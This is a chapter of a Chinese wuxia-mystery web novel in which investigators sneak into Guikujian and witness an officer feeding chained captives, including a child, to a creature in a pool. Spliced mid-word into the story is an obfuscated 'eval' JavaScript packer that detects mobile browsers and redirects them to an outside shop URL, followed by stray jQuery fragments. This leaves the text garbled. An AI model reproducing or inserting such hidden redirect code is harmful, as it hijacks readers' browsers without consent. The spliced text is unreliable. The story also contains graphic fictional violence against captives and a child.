悦来客栈，后院厢房。
图竹将拜访贺连的经过，事无巨细地讲述了一遍。
“若是他当真与鬼哭涧有牵连，明日一天时间，足够他们做很多手脚。”崔昱靠坐在窗边的椅子上，脸色在昏黄的灯光下显得有些苍白。
“若真是他，那极有可能会派人去鬼哭涧以前布置，毁掉那邪物，或者是设下新的陷阱。”霍衡摩挲着下巴。
图竹点点头，“毁掉估计他们是舍不得的，转移也不好转移，后日多半凶险。”
“他拖延，但我们不能等。”崔昱开口，“赤阳草尚无确切消息，我体内的阴煞不知道还能压制多久，鬼哭涧的秘密，必须尽快揭开。”
他顿了顿，“贺连越是推诿拖延，越是证明他心中有鬼，与鬼哭涧脱不了干系。”
图竹会意，“那明日我们去鬼哭涧可要带上开狱司的人？”
开狱司的人也已抵达武威。
“挑两名武功高强的。”崔昱手指无意识地捻着衣角，“等不到明日，我们今晚连夜出城，先行潜入鬼哭涧。”
图竹倒了一杯热茶，递给崔昱，“贺连多半会派人监视我们，怕是不好脱身。”
“好办，我让陈如令安排人传出我病重的消息，这悦来客栈，也不是他的暗哨想进便能进的。”
“会不会有些冒险？”霍衡眉目染上忧愁，“昭昭，你的身体，能撑住吗？”
“没有大碍，放心好了。”崔昱拍拍霍衡肩膀，“就是要打他们一个措手不及。”
崔昱走到床边，掀开被褥，在床板某处轻轻一按。
“咔哒”一声轻响，床板向内翻转，露出一条向下延伸，仅容一人通过的狭窄阶梯，里面漆黑一片。
霍衡把屋内油灯吹熄。三人前后进入暗道之中。
床板在身后无声合拢。
子时三刻。
在两条街外的一个香烛铺子后院。那堆满杂物茅草的角落，忽然有人影晃动。
崔昱先从暗道中钻出，迅速扫视四周。
夜色浓重，后院空无一人。
图竹和霍衡紧接着出来，三人对视一眼，身形一晃，悄无声息地越过后院低矮的土墙。
三人穿行在武威城错综复杂的小巷中，故意绕了几个圈子，确认身后没有任何尾巴。
城外，夜风很冷。
图竹抬头辨认了一下方向，他已传信让开狱司杨非、杨常两兄弟在城外望安坡等候。
而武威城内，悦来客栈外松内紧。
晚间医师一个个进去，一盆盆血水端出来。
对面茶馆二楼的窗户后，一双眼睛盯着那扇黑漆漆的窗户看了许久，最终打了个哈欠，低声对同伴道：“看来那人是快不行了。盯紧点，注意准进不准出。妈的，这苦差事。”
“是，大人。”
望安坡并非什么显眼的地标，只是武威城东二十里外一处荒芜的小土坡。
坡上有几颗早已枯死的老树，枝桠狰狞，在月色下如同鬼爪。
崔昱三人赶到时，杨非杨常两兄弟早已在此等候。
见到三人身影，两人立刻迎了上来。
月色下，能看出两人身材相仿，皆着深色劲装，背负长刀，面容有七八分相似，只是左边那人眉梢有一道浅浅的旧疤。
“大人。”两人同时向图竹抱拳。
图竹点头，介绍道，“崔大人，霍三爷，这是杨非、杨常双生兄弟。杨非、杨常，这是崔大人和霍三爷。”
杨非杨常转向崔昱和霍衡，“见过崔大人，霍三爷。”
崔昱微微颔首，“有劳二位。”
霍衡点点头，从怀中拿出骨哨，哨音悠长。
坡下闪现两个身影，是浮云斋的山鬼和地龙。
山鬼是个精瘦黝黑的中年汉子，背着弓箭和绳索，地龙要稍微矮些，十分敦实，腰间挂着两柄开山斧，走起路来却悄无声息。
“斋主，三爷。”二人低声见礼。
崔昱拍拍地龙厚实的肩膀，对图竹道：“山鬼是最好的猎手，擅长追踪，地龙力大无穷，擅长破除机关障碍，都是自己人。”
七人汇合，人数不多，却都是精锐。
崔昱没有浪费时间，直接道：“情况图大人应该与二位说过，我们时间紧迫。”
杨非开口，“我二人已大致摸清了从望安坡到鬼哭涧外围的几条隐蔽路径，避开主要隘口和卫所哨卡应当不难。”
“只是鬼哭涧入口及附近，恐怕有人把守。属下建议，我们可从侧面陡峭处攀援而下，避开暗哨。”
崔昱点点头，“鬼哭涧内情况不明，邪物凶险，我们首要的任务是探查，确认贺连是否与这魔窟有所关联。若遇险情，以撤离为先。”
“明白！”
“出发。”
七人在山鬼的带领下，迅速离开望安坡。
山鬼选择的路崎岖难行，专挑荒沟陡坡，但完全避开了官道和任何坑有人烟或哨卡的地方。
一路上，除了惊起几只野鸟和窸窣逃窜的小兽，再无其他动静。
约莫一个半时辰后，前方带路的山鬼忽然停下，伏低身体，打出一个隐蔽的手势。
众人立刻就地隐匿。
山鬼低声道：“斋主，前面就是鬼哭涧外围的山脊，下方谷口有火光。”
崔昱心中一凛，与图竹对视一眼。
“多少人？可能看清在做什么？”图竹低声问。
“约莫三十人左右，动作鬼鬼祟祟的。他们在谷口堆积了大量柴薪和火油桶，似乎，是想放火烧山封路？另外有七八个人在拆卸谷口的铁栅栏和木桩，像是要打开入口。”
放火烧山？
崔昱眉头紧锁，贺连这是不顾一切了吗？
“走，先下去。”崔昱带着人，沿着山鬼指出的一条陡峭崖壁，向下潜行。
杨非、杨常两兄弟对视一眼，“大人，我二人去制造点动静，掩护你们。”
图竹点点头，“小心行事。”
一刻钟左右，谷口方向传来一阵骚动。
东侧堆放火油的区域，几个油桶莫名其妙地倾倒，火油汩汩流出，引得一阵惊呼和怒骂。
“有情况！”
“小心！可能有野兽。”
谷口的的人顿时紧张起来，火把晃动，人影憧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213251|193916||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
憧。
一部分人朝着东西两侧有动静的地方搜索过去，原本严密的看守顿时出现缺口和混乱。
就是现在。
崔昱低声喝道：“走！”
几人趁着混乱，如同离弦之箭，从崖壁上一冲而下，迅速穿过谷口，一头扎进鬼哭涧的入口。
洞内弥漫着一股新鲜的血腥味。
崔昱心中一沉。
贺连的人应该已经进来了。
杨非杨常兄弟与崔昱等人汇合，七人屏住呼吸，小心翼翼地向深处摸去。
越往里走，那股新鲜的血腥味就越发浓烈。通道两侧的岩壁上，能看到一些新鲜的血迹喷溅的痕迹，尚未完全干涸。
图竹脸色凝重，“是新鲜的血。”
前方隐约传来微弱的光亮，带着一阵又一阵的呜咽声。
杨非从前方悄无声息地退回，声音中难得带着一丝惧怕，“大人，那个贺连的副将高远林在里面，有十来个亲兵，正在……正在给水潭里喝岩壁上的那些非人之物喂食。”
“喂食？”崔昱眼神一冷。
“是活人。”杨非的声音有些发紧，“还有二十几个人，被铁链拴着，正被一个个推进水潭。”
饶是众人见惯了血腥场面，闻言也不由心中一寒。
崔昱闭了闭眼睛，压下胸中翻涌的怒意和杀机。众人再往前探，火光摇曳中，能看到高远林披着甲胄的身影。
他正指挥着几名亲兵，将一个挣扎哭嚎的男子强行拖拽到水潭边。
那男子被反绑着双手，嘴里塞着破布，眼中满是绝望的恐惧。
“快点！磨蹭什么？”高远林不耐烦地喝道，“快些喂饱了大人，免得误了指挥使和王爷的大事！”
崔昱心中一凛，王爷？哪个王爷？
“扑通！”两名亲兵用力一推。
那男子落入漆黑的潭水之中，只激起一圈涟漪。
紧接着，潭水剧烈翻腾起来，水下传来一阵撕扯和吮吸声，很快，潭面泛起大片大片的血沫。
高远林面无表情地看着。
紧接着他指着一个孩子道，“大人还没吃饱，孩子肉嫩，献给大人尝尝。”
“不要……不要！”
“大人，他还是个孩子，饶了他吧，要吃，吃我，我肉多。求求您，饶了他吧！”一个妇人死死抱住孩子，不住地朝着高远林磕头。
崔昱握紧了拳头，极力压抑怒火。
“聒噪！”高远林眉头一皱，一脚踹开那拼命护住孩子的妇人。
妇人惨叫一声，滚倒在地，额头磕在石头上，血流满面，却依旧挣扎着想爬向孩子。
那孩子约莫八九岁，身形瘦小，满脸泥污，一双大眼睛里满是泪水和无助的恐惧，被高远林的手下像拎小鸡一样抓在手里，吓得连哭都忘了，只是瑟瑟发抖。
“娘……娘……”他微弱地喊着，声音细若蚊蝇。
高远林看也不看那妇人，脸上满是不耐烦，对手下挥挥手，“快点，磨蹭什么。”
那人拎着孩子就往水潭边走。孩子终于反应过来，开始拼命踢打挣扎，喉咙里发出不成调的呜咽。